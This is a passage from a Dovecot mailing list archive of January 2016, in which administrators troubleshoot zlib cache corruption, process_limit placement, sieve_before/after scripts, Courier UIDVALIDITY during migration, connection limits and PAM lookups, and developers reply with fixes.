dsync_remote_cmd = ssh -l root vmail1.example.com doveadm dsync-server -u%u mail_gid = 500 mail_location = maildir:~/Maildir/ mail_plugins = quota mail_log notify replication mail_uid = 500 managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date index ihave duplicate passdb { args = /etc/dovecot/dovecot-passdb-ldap.conf driver = ldap } plugin { mail_log_events = delete undelete expunge copy mailbox_delete mailbox_rename mail_log_fields = uid box msgid size mail_replica = remote:vmail at vmail1.example.com quota = maildir:User quota quota_rule = *:storage=5G quota_rule2 = Trash:storage=+3%% quota_warning = storage=75%% quota-warning 75 %u quota_warning2 = storage=90%% quota-warning 90 %u } protocols = imap pop3 service aggregator { fifo_listener replication-notify-fifo { user = vmail } unix_listener replication-notify { user = vmail } } service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0660 user = postfix } unix_listener auth-master { group = vmail mode = 0660 user = vmail } user = root } service imap-login { service_count = 1 vsz_limit = 64 M } service imap { executable = imap postlogin } service pop3-login { service_count = 1 vsz_limit = 64 M } service pop3 { executable = pop3 postlogin } service postlogin { executable = script-login -d rawlog } service quota-warning { executable = script /opt/mail1.sh unix_listener quota-warning { user = vmail } user = vmail } service replicator { process_min_avail = 1 unix_listener replicator-doveadm { mode = 0600 } } ssl_ca = Error: mmap() failed with file /home/user/Maildir/.Archive/dovecot.index.cache: Cannot allocate memory I have default_vsz_limit = 512 M in my conf file. (This error only occurs with a single user?s .Archive index, but that user has over 400,000 files int eh Archive mailbox) -- Let him who desires peace, prepare for war. From leon at dexterous.org Fri Jan 15 03:25:05 2016 From: leon at dexterous.org (Leon Kyneur) Date: Fri, 15 Jan 2016 03:25:05 +0000 Subject: Corrupted index cache file - migration with zlib Message-ID: Hi I'm migrating some mailboxes from an old dovecot system where mailboxes are stored maildir uncompressed. I enabled zlib on the new system and migrated an account: doveadm -o mail_fsync=never backup -R -u tonyg imapc: when the account connects to the new system after a while i'm seeing the following error and the mailbox is no longer functioning: Jan 15 13:58:06 S611 dovecot: imap(tonyg): Error: read(/srv/vmail/532868/tonyg/mdbox/storage/m.1): FETCH BODY[] for mailbox INBOX UID 61 got too little data: 4106341 vs 6054268 Jan 15 13:58:06 S611 dovecot: imap(tonyg): Error: unlink(/srv/vmail/532868/tonyg/mdbox/mailboxes/INBOX/dbox-Mails/dovecot.index.cache) failed: No such file or directory (in mail-cache.c:28) Jan 15 13:58:06 S611 dovecot: imap(tonyg): Error: Corrupted index cache file /srv/vmail/532868/tonyg/mdbox/mailboxes/INBOX/dbox-Mails/dovecot.index.cache: Broken virtual size for mail UID 61 Jan 15 13:58:06 S611 dovecot: imap(tonyg): FETCH failed in=181 out=4109653 Jan 15 13:58:06 S611 dovecot: auth-worker(6130): ldap(tonyg,144.132.1.90): unknown user Jan 15 13:58:06 S611 dovecot: imap-login: Login: user=, method=PLAIN, rip=144.132.1.90, lip=203.134.11.127, mpid=6746, secured, session=<7qqWklYpnGjLhgHK> Jan 15 13:58:07 S611 dovecot: imap(tonyg): Error: read(/srv/vmail/532868/tonyg/mdbox/storage/m.1): FETCH BODY[] for mailbox INBOX UID 61 got too little data: 4106341 vs 6054268 Jan 15 13:58:07 S611 dovecot: imap(tonyg): Error: unlink(/srv/vmail/532868/tonyg/mdbox/mailboxes/INBOX/dbox-Mails/dovecot.index.cache) failed: No such file or directory (in mail-cache.c:28) Jan 15 13:58:07 S611 dovecot: imap(tonyg): Error: Corrupted index cache file /srv/vmail/532868/tonyg/mdbox/mailboxes/INBOX/dbox-Mails/dovecot.index.cache: Broken virtual size for mail UID 61 Jan 15 13:58:07 S611 dovecot: imap(tonyg): FETCH failed in=181 out=4109653 If i migrate the account without zlib everthing works fine and the error can't be reproduced. I have tried force-resync and index commands to no avail. Any ideas what's going on here? doveconf -n: [root at S611 532868]# doveconf -n # 2.2.21 (5345f22): /etc/dovecot/dovecot.conf # Pigeonhole version 0.4.11 (6ddf62b87f60+) # OS: Linux 3.10.0-327.4.4.el7.x86_64 x86_64 CentOS Linux release 7.2.1511 (Core) auth_debug = yes auth_verbose = yes imapc_features = rfc822.size fetch-headers imapc_host = removed imapc_master_user = removed imapc_password = # hidden, use -P to show it imapc_user = %u lmtp_proxy = yes login_trusted_networks = 192.168.10.0/24 mail_debug = yes mail_gid = vmail mail_location = mdbox:%h/mdbox:ALT=/altstorage%h/mdbox mail_plugins = quota zlib mail_prefetch_count = 50 mail_uid = vmail managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date index ihave duplicate mime foreverypart mdbox_rotate_size = 10 M namespace inbox { inbox = yes location = mailbox "Deleted Messages" { special_use = \Trash } mailbox Drafts { special_use = \Drafts } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } mailbox "Sent Messages" { special_use = \Sent } mailbox Trash { special_use = \Trash } mailbox Drafts { special_use = \Drafts } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } mailbox "Sent Messages" { special_use = \Sent } mailbox Trash { special_use = \Trash } prefix = } passdb { args = /etc/dovecot/dovecot-ldap.conf.ext driver = ldap } passdb { args = /etc/dovecot/dovecot-ldap-m2core.conf.ext driver = ldap } plugin { quota = dict:User quota::file:%h/dovecot-quota sieve = file:~/sieve;active=~/.dovecot.sieve zlib_save = gz zlib_save_level = 6 } pop3c_host = pop3c_password = # hidden, use -P to show it service lmtp { inet_listener lmtp { address = port = 24 } } ssl_cert = References: Message-ID: figured out my issue I changed: protocol imap { mail_plugins = quota imap_quota imap_zlib } to this: protocol imap { mail_plugins = $mail_plugins imap_quota imap_zlib } No longer getting the error after migration with zlib enabled.. could there be any kind of better warning or error handling around this? (if this is the actual issue) On Fri, Jan 15, 2016 at 2:25 PM Leon Kyneur wrote: > Hi > > I'm migrating some mailboxes from an old dovecot system where mailboxes > are stored maildir uncompressed. I enabled zlib on the new system and > migrated an account: > doveadm -o mail_fsync=never backup -R -u tonyg imapc: > > when the account connects to the new system after a while i'm seeing the > following error and the mailbox is no longer functioning: > > Jan 15 13:58:06 S611 dovecot: imap(tonyg): Error: > read(/srv/vmail/532868/tonyg/mdbox/storage/m.1): FETCH BODY[] for mailbox > INBOX UID 61 got too little data: 4106341 vs 6054268 > Jan 15 13:58:06 S611 dovecot: imap(tonyg): Error: > unlink(/srv/vmail/532868/tonyg/mdbox/mailboxes/INBOX/dbox-Mails/dovecot.index.cache) > failed: No such file or directory (in mail-cache.c:28) > Jan 15 13:58:06 S611 dovecot: imap(tonyg): Error: Corrupted index cache > file > /srv/vmail/532868/tonyg/mdbox/mailboxes/INBOX/dbox-Mails/dovecot.index.cache: > Broken virtual size for mail UID 61 > Jan 15 13:58:06 S611 dovecot: imap(tonyg): FETCH failed in=181 out=4109653 > Jan 15 13:58:06 S611 dovecot: auth-worker(6130): ldap(tonyg,144.132.1.90): > unknown user > Jan 15 13:58:06 S611 dovecot: imap-login: Login: user=, > method=PLAIN, rip=144.132.1.90, lip=203.134.11.127, mpid=6746, secured, > session=<7qqWklYpnGjLhgHK> > Jan 15 13:58:07 S611 dovecot: imap(tonyg): Error: > read(/srv/vmail/532868/tonyg/mdbox/storage/m.1): FETCH BODY[] for mailbox > INBOX UID 61 got too little data: 4106341 vs 6054268 > Jan 15 13:58:07 S611 dovecot: imap(tonyg): Error: > unlink(/srv/vmail/532868/tonyg/mdbox/mailboxes/INBOX/dbox-Mails/dovecot.index.cache) > failed: No such file or directory (in mail-cache.c:28) > Jan 15 13:58:07 S611 dovecot: imap(tonyg): Error: Corrupted index cache > file > /srv/vmail/532868/tonyg/mdbox/mailboxes/INBOX/dbox-Mails/dovecot.index.cache: > Broken virtual size for mail UID 61 > Jan 15 13:58:07 S611 dovecot: imap(tonyg): FETCH failed in=181 out=4109653 > > If i migrate the account without zlib everthing works fine and the error > can't be reproduced. > > I have tried force-resync and index commands to no avail. > > Any ideas what's going on here? > > doveconf -n: > > [root at S611 532868]# doveconf -n > > > # 2.2.21 (5345f22): /etc/dovecot/dovecot.conf > # Pigeonhole version 0.4.11 (6ddf62b87f60+) > # OS: Linux 3.10.0-327.4.4.el7.x86_64 x86_64 CentOS Linux release 7.2.1511 > (Core) > auth_debug = yes > auth_verbose = yes > imapc_features = rfc822.size fetch-headers > imapc_host = removed > imapc_master_user = removed > imapc_password = # hidden, use -P to show it > imapc_user = %u > lmtp_proxy = yes > login_trusted_networks = 192.168.10.0/24 > mail_debug = yes > mail_gid = vmail > mail_location = mdbox:%h/mdbox:ALT=/altstorage%h/mdbox > mail_plugins = quota zlib > mail_prefetch_count = 50 > mail_uid = vmail > managesieve_notify_capability = mailto > managesieve_sieve_capability = fileinto reject envelope encoded-character > vacation subaddress comparator-i;ascii-numeric relational regex imap4flags > copy include variables body enotify environment mailbox date > index ihave duplicate mime foreverypart > mdbox_rotate_size = 10 M > namespace inbox { > inbox = yes > location = > mailbox "Deleted Messages" { > special_use = \Trash > } > mailbox Drafts { > special_use = \Drafts > } > mailbox Junk { > special_use = \Junk > } > mailbox Sent { > special_use = \Sent > } > mailbox "Sent Messages" { > special_use = \Sent > } > mailbox Trash { > special_use = \Trash > } > mailbox Drafts { > special_use = \Drafts > } > mailbox Junk { > special_use = \Junk > } > mailbox Sent { > special_use = \Sent > } > mailbox "Sent Messages" { > special_use = \Sent > } > mailbox Trash { > special_use = \Trash > } > prefix = > } > passdb { > args = /etc/dovecot/dovecot-ldap.conf.ext > driver = ldap > } > passdb { > args = /etc/dovecot/dovecot-ldap-m2core.conf.ext > driver = ldap > } > plugin { > quota = dict:User quota::file:%h/dovecot-quota > sieve = file:~/sieve;active=~/.dovecot.sieve > zlib_save = gz > zlib_save_level = 6 > } > pop3c_host = > pop3c_password = # hidden, use -P to show it > service lmtp { > inet_listener lmtp { > address = > port = 24 > } > } > ssl_cert = ssl_key = verbose_proctitle = yes > protocol imap { > mail_plugins = quota imap_quota imap_zlib > } > > > > From nmilas at noa.gr Fri Jan 15 07:52:19 2016 From: nmilas at noa.gr (Nikolaos Milas) Date: Fri, 15 Jan 2016 09:52:19 +0200 Subject: Increasing mail_max_userip_connections and sys resources In-Reply-To: <5697D8BB.8030407@noa.gr> References: <5697D8BB.8030407@noa.gr> Message-ID: <5698A533.6040208@noa.gr> On 14/1/2016 7:19 ??, Nikolaos Milas wrote: > 2. Could another dovecot setting prevent the above setting from being > applied (e.g. due to connections exhaustion), i.e. should we also > change other setting(s)? An associated question: I tried adding "process_limit = 2048" to imap: protocol imap { imap_client_workarounds = "delay-newmail" mail_plugins = quota imap_quota notify replication process_limit = 2048 mail_max_userip_connections = 100 } but this leads to: # doveconf -n # 2.2.18: /etc/dovecot/dovecot.conf # Pigeonhole version 0.4.8 doveconf: Fatal: Error in configuration file /etc/dovecot/dovecot.conf line 30: Unknown setting: process_limit doveconf: Error: managesieve-login: dump-capability process returned 89 doveconf: Fatal: Error in configuration file /etc/dovecot/dovecot.conf line 30: Unknown setting: process_limit However, here: http://wiki.dovecot.org/Services#imap.2C_pop3.2C_managesieve I read: imap, pop3, managesieve process_limit defaults to 1024, which means that the number of simultaneous IMAP (or POP3 or ManageSieve) connections is limited by this setting. If you expect more connections, increase this value. So, I was not expecting this error and can't see what's the problem. Why "process_limit" is an unknown setting? What am I doing wrong? Please clarify! Thanks, Nick From skdovecot at smail.inf.fh-brs.de Fri Jan 15 08:50:32 2016 From: skdovecot at smail.inf.fh-brs.de (Steffen Kaiser) Date: Fri, 15 Jan 2016 09:50:32 +0100 (CET) Subject: Increasing mail_max_userip_connections and sys resources In-Reply-To: <5698A533.6040208@noa.gr> References: <5697D8BB.8030407@noa.gr> <5698A533.6040208@noa.gr> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Fri, 15 Jan 2016, Nikolaos Milas wrote: > I tried adding "process_limit = 2048" to imap: > > protocol imap { > imap_client_workarounds = "delay-newmail" > mail_plugins = quota imap_quota notify replication > process_limit = 2048 this setting belongs to the service imap { section. See the output of doveconf -a - -- Steffen Kaiser -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQEVAwUBVpiy2Hz1H7kL/d9rAQK7BQgAv/kupyXWS6I+FOxKt1ougPYK0rdPRae9 FSVR1Lsp9dCQ0LBU2S6VHC3ZhJIaMm92N4UxjYjSXblj1irqGwuj/F2vgvcriTkG R291zwT0MwwrSUu7ZTrqKeuvNFYY3cljwOZieTJi5Ozk8vKp7d8hIvHRjTQXeDah 7V0oHlqXAR/zLMc7bT4PZzTTaRxNAfGKTTzuh3jMuOjn0Ne91CQjNSgrUo6F1hMl pz0ZNR3fns7ZGI//NXNgkdFqsP3LcH8bGYgBdpYNQZCgo+mYi+8ziB0a8ba6RMHU CkwcpwZZuAoUaEA2XXLKgNcv5rjwgQAaEHwZATLLBwOVzlv8/LZ3Mw== =NijQ -----END PGP SIGNATURE----- From nmilas at noa.gr Fri Jan 15 09:07:03 2016 From: nmilas at noa.gr (Nikolaos Milas) Date: Fri, 15 Jan 2016 11:07:03 +0200 Subject: Increasing mail_max_userip_connections and sys resources In-Reply-To: References: <5697D8BB.8030407@noa.gr> <5698A533.6040208@noa.gr> Message-ID: <5698B6B7.1010709@noa.gr> On 15/1/2016 10:50 ??, Steffen Kaiser wrote: > this setting belongs to the > > service imap { > > section. Oh, this is it! It works now! Thanks, Steffen. All the best, Nick From Hajo.Locke at gmx.de Fri Jan 15 12:07:57 2016 From: Hajo.Locke at gmx.de (Hajo Locke) Date: Fri, 15 Jan 2016 13:07:57 +0100 Subject: sieve - configuration problem Message-ID: <5698E11D.5020308@gmx.de> Hello List, first thanks for previous hints, you helped me a lot. Unfortunately i have new problem with sieve and executing multiple scripts sequentially. This is current conf which is complete working : #CONF1 plugin { sieve = ~/sieve/.dovecot.sieve sieve_plugins = sieve_extprograms sieve_extensions = +vnd.dovecot.pipe +vnd.dovecot.filter +vnd.dovecot.execute +editheader sieve_pipe_bin_dir = /usr/local/bin/ sieve_filter_bin_dir = /usr/local/bin/ sieve_dir = ~/sieve sieve_global_dir = /etc/dovecot/sieve/ } i also activated managesieve which is working as well. Now iam looking for a way to run individual scripts for users. My idea is to have a system generated script which may run before or after the personal script. Additional the system scripts should not be viewed or changed by mailusers. So i tried with directives sieve_before and sieve_after: #CONF2 plugin { sieve = ~/sieve/.dovecot.sieve sieve_before = ~/sieve_before/.dovecot.sieve sieve_after = ~/sieve_after/.dovecot.sieve sieve_plugins = sieve_extprograms sieve_extensions = +vnd.dovecot.pipe +vnd.dovecot.filter +vnd.dovecot.execute +editheader sieve_pipe_bin_dir = /usr/local/bin/ sieve_filter_bin_dir = /usr/local/bin/ sieve_dir = ~/sieve sieve_global_dir = /etc/dovecot/sieve/ } every single script "~/sieve/.dovecot.sieve", "~/sieve_before/.dovecot.sieve" and "~/sieve_after/.dovecot.sieve" contains a small rule to add a new mailheader (X-Before, X-After, X-Middle) so i can watch what happens. The problem is: Every single script is working, but only when this directive is the only one which is activated in conf. As soon as i enable another directive absolut nothing is happen. It does not matter which combination of directives (sieve|sieve_before_sieve_after) is enabled or disabled. Just as a second one is enabled sieve seems to do nothing. Mail is delivered by lda but no songle one headerentry is added. What happens here and how to solve this? Currently i use dovecot 2.2.21 and sieve 0.4.11 Thanks, Hajo From tss at iki.fi Fri Jan 15 13:16:19 2016 From: tss at iki.fi (Timo Sirainen) Date: Fri, 15 Jan 2016 15:16:19 +0200 Subject: doveadm/dsync/imapc loose folder subscriptions In-Reply-To: <568F9EC5.7070902@heinlein-support.de> References: <568F9EC5.7070902@heinlein-support.de> Message-ID: <5698F123.3080702@iki.fi> On 01/08/2016 01:34 PM, Peer Heinlein wrote: > > As I already wrote some days ago we're actually running a huge migration > using doveadm/dsync-backup/imapc: > > doveadm -o imapc_user="$UNAME1" -o imapc_password="$PWORD1" -o > imapc_host=$SERVER1 -o pop3c_user="$UNAME1" -o pop3c_password="$PWORD1" > -o pop3c_host=$SERVER1 -D -v backup -R -u "$UNAME2" imapc: > > We just noticed that doveadm looses changes in folder subscriptions if a > folder is copied again. > > a) Copy a mdbox-home of a user (using doveadm backup...) > > b) Change his subscriptions on the source-side OR change his subscripts > on the destination-side OR delete his subscriptions-file. > > c) Copy that mdbox-home from that user again (using doveadm backup...) > > doveadm will copy & merge his mails, but he does NOT check for changes > in folder subscriptions. As you can see in the attached logs, doveadm > nitices changes in subscriptions: This should fix it: https://github.com/dovecot/core/commit/9d7f23fa2334e037c09d8cf90cc80b3c89ecea27 From p.heinlein at heinlein-support.de Fri Jan 15 13:34:08 2016 From: p.heinlein at heinlein-support.de (Peer Heinlein) Date: Fri, 15 Jan 2016 14:34:08 +0100 Subject: Courier generates new UIDVALIDITY Message-ID: <5698F550.8070407@heinlein-support.de> We just detected, that under some circumstances Courier-IMAP will generate a new UIDVALIDITY for every access to an IMAP-folder, if the folder had been created by a simple "mkdir" and not with maildirmake. Courier doesn't save his uidvalidity-file in this case. Courier DOES generate a sticky UIDVALIDITY after the first "real" access by a User through the IMAP-SELECT-command. That's why this problem isn't a "real" problem in the world. Courier does NOT create this IMAP-UIDVALIDITY if the user just uses POP3-access, because there the UIDVALIDITY isn't used. We have a migration scenario where we have many users with POP3-only access (so that they DO have many mails in der INBOX) and an incremental migration trough doveadm/dsync/imapc fails (caused by consequently changing UIDVALIDITYs). doveadm just uses the IMAP EXAMINE command to open the source IMAP-folder on the Courier's side readonly. Courier DOES handle this access "readonly" and doesn't consequently doesn't generate a UIDVALIDITY-file. Instead Courier uses random UIDVALIDITYS by every access and doveadm always has to copy all mails (and duplicates them if "-1 -R" is used!). To fix this problem and to make a migration and/or doveadm backup/sync much more reliable Dovecot should open the source folder with a SELECT command instead. (Maybe one SELECT and then change to EXAMINE, if you think EXAMINE would be more safe.) Maybe this is also relevant for a real permanent imapc-situation, where Dovecot/imapc is used to fix broken IMAP-implementations from an older backend. Peer -- Heinlein Support GmbH Schwedter Str. 8/9b, 10119 Berlin http://www.heinlein-support.de Tel: 030 / 405051-42 Fax: 030 / 405051-19 Zwangsangaben lt. ?35a GmbHG: HRB 93818 B / Amtsgericht Berlin-Charlottenburg, Gesch?ftsf?hrer: Peer Heinlein -- Sitz: Berlin From tss at iki.fi Fri Jan 15 13:42:31 2016 From: tss at iki.fi (Timo Sirainen) Date: Fri, 15 Jan 2016 15:42:31 +0200 Subject: Courier generates new UIDVALIDITY In-Reply-To: <5698F550.8070407@heinlein-support.de> References: <5698F550.8070407@heinlein-support.de> Message-ID: <5698F747.8020209@iki.fi> On 01/15/2016 03:34 PM, Peer Heinlein wrote: > > We just detected, that under some circumstances Courier-IMAP will > generate a new UIDVALIDITY for every access to an IMAP-folder, if the > folder had been created by a simple "mkdir" and not with maildirmake. > Courier doesn't save his uidvalidity-file in this case. > > Courier DOES generate a sticky UIDVALIDITY after the first "real" access > by a User through the IMAP-SELECT-command. That's why this problem isn't > a "real" problem in the world. Courier does NOT create this > IMAP-UIDVALIDITY if the user just uses POP3-access, because there the > UIDVALIDITY isn't used. > > We have a migration scenario where we have many users with POP3-only > access (so that they DO have many mails in der INBOX) and an incremental > migration trough doveadm/dsync/imapc fails (caused by consequently > changing UIDVALIDITYs). > > doveadm just uses the IMAP EXAMINE command to open the source > IMAP-folder on the Courier's side readonly. Courier DOES handle this > access "readonly" and doesn't consequently doesn't generate a > UIDVALIDITY-file. Instead Courier uses random UIDVALIDITYS by every > access and doveadm always has to copy all mails (and duplicates them if > "-1 -R" is used!). > > To fix this problem and to make a migration and/or doveadm backup/sync > much more reliable Dovecot should open the source folder with a SELECT > command instead. > > (Maybe one SELECT and then change to EXAMINE, if you think EXAMINE would > be more safe.) > > Maybe this is also relevant for a real permanent imapc-situation, where > Dovecot/imapc is used to fix broken IMAP-implementations from an older > backend. SELECT drops the \Recent flags, so I don't think this should ever be done by default. But this should help: https://github.com/dovecot/core/commit/df596e34b604e6ac873de9ca92fb5df2a5fed45f From sca at andreasschulze.de Fri Jan 15 16:03:30 2016 From: sca at andreasschulze.de (A. Schulze) Date: Fri, 15 Jan 2016 17:03:30 +0100 Subject: doveconf syntax question In-Reply-To: <20160105153114.Horde.WeWCqoleQ9cfIvmYzPLO1aJ@andreasschulze.de> References: <20160105153114.Horde.WeWCqoleQ9cfIvmYzPLO1aJ@andreasschulze.de> Message-ID: <56991852.1070108@andreasschulze.de> Am 05.01.2016 um 15:31 schrieb A. Schulze: > I have one sieve extension enabled: > > /etc/dovecot/conf.d/20-sieve.conf: > > plugin { > sieve_extensions = +vacation-seconds > } > > now (months later) we want to enable an other extension. > no big deal: > > /etc/dovecot/local.conf: > > plugin { > sieve_extensions = +editheaders > ... > } > > This was wrong. We ASSUMED the plus would add the extension to the list. > But at the end only +editheaders was activ. > > What's the right way to /add/ sieve_extensions from different config files? > our guess "sieve_extensions = $sieve_extensions +editheaders" do not work: > > doveconf -a | grep sieve_extensions > doveconf: Fatal: Error in configuration file /etc/dovecot/local.conf line 22: Unknown variable: $sieve_extensions > doveconf: Error: managesieve-login: dump-capability process returned 89 > doveconf: Fatal: Error in configuration file /etc/dovecot/local.conf line 22: Unknown variable: $sieve_extensions no opinions so far? From nmilas at noa.gr Fri Jan 15 18:02:47 2016 From: nmilas at noa.gr (Nikolaos Milas) Date: Fri, 15 Jan 2016 20:02:47 +0200 Subject: remote | local blocks in protocol settings Message-ID: <56993447.7030101@noa.gr> Hello, Where can I find detailed documentation on how "remote" & "local" blocks are used in protocol configuration to provide specific settings for particular IPs/Names? I've been searching around (wiki2, Google) but I found very few things. I also checked in the conf.d directory of the installation and couldn't find anything. One useful thread was here: http://www.dovecot.org/list/dovecot/2010-June/050069.html where we can read about the "filter" hierarchy: protocol name { remote { local { but I would really appreciate reading more complete documentation (and, hopefully, examples). Thanks, Nick From lists at tigertech.com Fri Jan 15 18:14:44 2016 From: lists at tigertech.com (Robert L Mathews) Date: Fri, 15 Jan 2016 10:14:44 -0800 Subject: Corrupted index cache file - migration with zlib In-Reply-To: References: Message-ID: <56993714.6040003@tigertech.com> On 1/14/16 8:51 PM, Leon Kyneur wrote: > figured out my issue > > I changed: > protocol imap { > mail_plugins = quota imap_quota imap_zlib > } > > to this: > protocol imap { > mail_plugins = $mail_plugins imap_quota imap_zlib > } > Right. This is because it needs the "zlib" plugin enabled, and in your original configuration, the zlib plugin was enabled systemwide: > mail_plugins = quota zlib ... but these lines completely replaced the "mail_plugins" setting for imap, and didn't include zlib: > protocol imap { > mail_plugins = quota imap_quota imap_zlib > } Your fixed configuration *adds* additional plugins to the systemwide mail_plugins setting rather than replacing them, so it correctly uses zlib for IMAP. It would also work if you used: protocol imap { mail_plugins = quota zlib imap_quota imap_zlib } > No longer getting the error after migration with zlib enabled.. could there > be any kind of better warning or error handling around this? (if this is > the actual issue) Well, the documentation at does suggest doing it with "mail_plugins = $mail_plugins zlib", and it gives those errors in the log if you forget it. There's an argument to be made for "Dovecot should *always* try to uncompress 'obviously' compressed files", that apparently opens up security issues, exposing Dovecot to bugs in the system's compression libraries even if the admin intentionally doesn't use compression. -- Robert L Mathews, Tiger Technologies, http://www.tigertech.net/ From jtam.home at gmail.com Fri Jan 15 20:05:25 2016 From: jtam.home at gmail.com (Joseph Tam) Date: Fri, 15 Jan 2016 12:05:25 -0800 (PST) Subject: Increasing mail_max_userip_connections and sys resources In-Reply-To: References: Message-ID: > In our low-traffic server we have always kept the default value for IMAP > mail_max_userip_connections (10). > > The server has been working fine! (Thank you Timo for this!) > > However, recently we have been having: > > Maximum number of connections from user+IP exceeded > > errors both for IMAP and webmail users. > > Thus, we have now changed the value to 100. > > The questions: > > 1.Might this lead to overloading the server? > 2. Could another dovecot setting prevent the above setting from being > applied (e.g. due to connections exhaustion), i.e. should we also change > other setting(s)? > 3. What should we take into account when deciding the value for > mail_max_userip_connections? It depends on how many users you have, the number of simultaneous clients they use, and the #connections each client opens. Potentially, you could exhaust connection limits -- they usually don't max out memory or CPU or disk since most of the connections are idle. (There is a new IDLE hibernate feature that might help to minimize memory use by idle imap worker processes.) I haven't found a value that gets rid of users running into connection limits. If I set it to n, the next day someone will choke on n+1. This is a snapshot connections (count : #connections) which shows the typical decay: 25 1 14 2 14 3 7 4 9 5 1 6 2 7 1 8 1 10 Occasionally, some user's connection demand will spike and exceed the limit because - they started yat another client - they started global operation like searching - they're using a network that support roaming IP (I've tracked some users across the city on their bus ride.) Pragmatically, I set it high enough so that it meets the need of most clients, then deal with problems on a case by case basis (e.g. get them to lower their mail client's idle connection setting, or asking them to reduce the number of active clients by logging out). It also prevents what this setting was designed for: connection starvation by busy/buggy clients. Usually, hitting the limit doesn't produce problems as mail clients are smart enough to close idle connections or reuse them. If you only got a dozen users, setting it to 100 is feasible. If you got 1000 users, probably not. > 4. How can we set a different value to this directive for webmail > connections (coming from 127.0.0.1, ::1)? I don't know if there is another method, but at the very least, you can start another dovecot instance with another config file that does specific things for 127.0.0.1. Joseph Tam From stephan at rename-it.nl Fri Jan 15 23:11:50 2016 From: stephan at rename-it.nl (Stephan Bosch) Date: Sat, 16 Jan 2016 00:11:50 +0100 Subject: sieve - configuration problem In-Reply-To: <5698E11D.5020308@gmx.de> References: <5698E11D.5020308@gmx.de> Message-ID: <56997CB6.40405@rename-it.nl> Op 1/15/2016 om 1:07 PM schreef Hajo Locke: > Hello List, > > first thanks for previous hints, you helped me a lot. > > Unfortunately i have new problem with sieve and executing multiple > scripts sequentially. > This is current conf which is complete working : > #CONF1 > plugin { > sieve = ~/sieve/.dovecot.sieve > sieve_plugins = sieve_extprograms > sieve_extensions = +vnd.dovecot.pipe +vnd.dovecot.filter > +vnd.dovecot.execute +editheader > sieve_pipe_bin_dir = /usr/local/bin/ > sieve_filter_bin_dir = /usr/local/bin/ > sieve_dir = ~/sieve > sieve_global_dir = /etc/dovecot/sieve/ > } > > i also activated managesieve which is working as well. > > Now iam looking for a way to run individual scripts for users. My idea > is to have a system generated script which may run before or after the > personal script. Additional the system scripts should not be viewed or > changed by mailusers. > So i tried with directives sieve_before and sieve_after: > #CONF2 > plugin { > sieve = ~/sieve/.dovecot.sieve > sieve_before = ~/sieve_before/.dovecot.sieve > sieve_after = ~/sieve_after/.dovecot.sieve > sieve_plugins = sieve_extprograms > sieve_extensions = +vnd.dovecot.pipe +vnd.dovecot.filter > +vnd.dovecot.execute +editheader > sieve_pipe_bin_dir = /usr/local/bin/ > sieve_filter_bin_dir = /usr/local/bin/ > sieve_dir = ~/sieve > sieve_global_dir = /etc/dovecot/sieve/ > } > > every single script "~/sieve/.dovecot.sieve", > "~/sieve_before/.dovecot.sieve" and "~/sieve_after/.dovecot.sieve" > contains a small rule to add a new mailheader (X-Before, X-After, > X-Middle) so i can watch what happens. The problem is: Every single > script is working, but only when this directive is the only one which > is activated in conf. As soon as i enable another directive absolut > nothing is happen. It does not matter which combination of directives > (sieve|sieve_before_sieve_after) is enabled or disabled. Just as a > second one is enabled sieve seems to do nothing. Mail is delivered by > lda but no songle one headerentry is added. > What happens here and how to solve this? Currently i use dovecot > 2.2.21 and sieve 0.4.11 This should fix it: https://github.com/dovecot/pigeonhole/commit/16362ac8fbe4b2a62018f93991dd51e98c03997d Regards, Stephan. From christian at ch-sc.de Fri Jan 15 23:51:27 2016 From: christian at ch-sc.de (Christian Schneider) Date: Sat, 16 Jan 2016 00:51:27 +0100 Subject: Dovecot with pam authentication and user@domain Message-ID: <1697187.Brhxq3VESD@limonengrasbaum> Hello all, I'm trying to setup dovecot for local users with pam authentication. The passdb and userdb entries are as follows: passdb { args = username_format=%n driver = pam } userdb { args = username_format=%n driver = passwd } Using "doveadm user chriss" returns the user record as expected, but "doveadm user chriss at testmail.ch-sc.de" gives an error: field valueuserdb lookup: user chriss at testmail.ch-sc.de doesn't exist As far as I understand, username_format=%n should drop the domain part and only search for the user in the userdb, but it doesn't. What am I missing? Greetings Christian -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 303 bytes Desc: This is a digitally signed message part. URL: From kevin at my.walr.us Sat Jan 16 14:42:06 2016 From: kevin at my.walr.us (KT Walrus) Date: Sat, 16 Jan 2016 09:42:06 -0500 Subject: Dockerfile for building latest github version Message-ID: Is there a Dockerfile for building/installing the latest Dovecot version in a Docker Image? I don't see Dovecot in the Official Repositories on the Docker Hub like almost all the other popular open source software packages that I use. Why no Official Docker repo for Dovecot? All the user contributed repos containing Dovecot in the Docker Hub seem to just install from a distribution?s repo (like Ubuntu 14.04) but these packages seem to lag the most recent version of Dovecot that I see in GitHub. Kevin From bradzynda42 at comcast.net Sun Jan 17 19:24:17 2016 From: bradzynda42 at comcast.net (Brad) Date: Sun, 17 Jan 2016 14:24:17 -0500 Subject: Temporary Lookup Failure Message-ID: <569BEA61.3020101@comcast.net> Hi All, Have a CentOS 7, dovecot and postfix setup. Can get mail via 995 SSL/TLS Can send mail to virtual users and auto creation works using /etc/dovecot/passwd file via mail command. Using the dovecot lmtp and can login via 465 but the user lookup fails via postfix. in postfix main.cf have virtual_transport = lmtp:unix:private/dovecot-lmtp in dovecot.log I am seeing no errors in dovecot-info.log no errors either in maillog I am seeing: postfix/smtps/smtpd warning hash:/etc/postfix/virtual is unavailable open database /etc/postfix/virtual.db No such file. Note: I did go through creating the virtual.db and associated files but figured that it cant be correct as I want lmtp to handle it and it didn't work anyways, so I removed it. NOQUEUE reject RCPT from unknown[x.x.x.x] 451 4.3.0 Temporary lookup failure from= to= proto=ESMTP helo= -- obfuscated Tried every article I could find on the Internet to resolve this with out much luck. Any pointers would be greatly appreciated or if you need specific config details just let me know. Thanks, Brad From ml+dovecot at valo.at Sun Jan 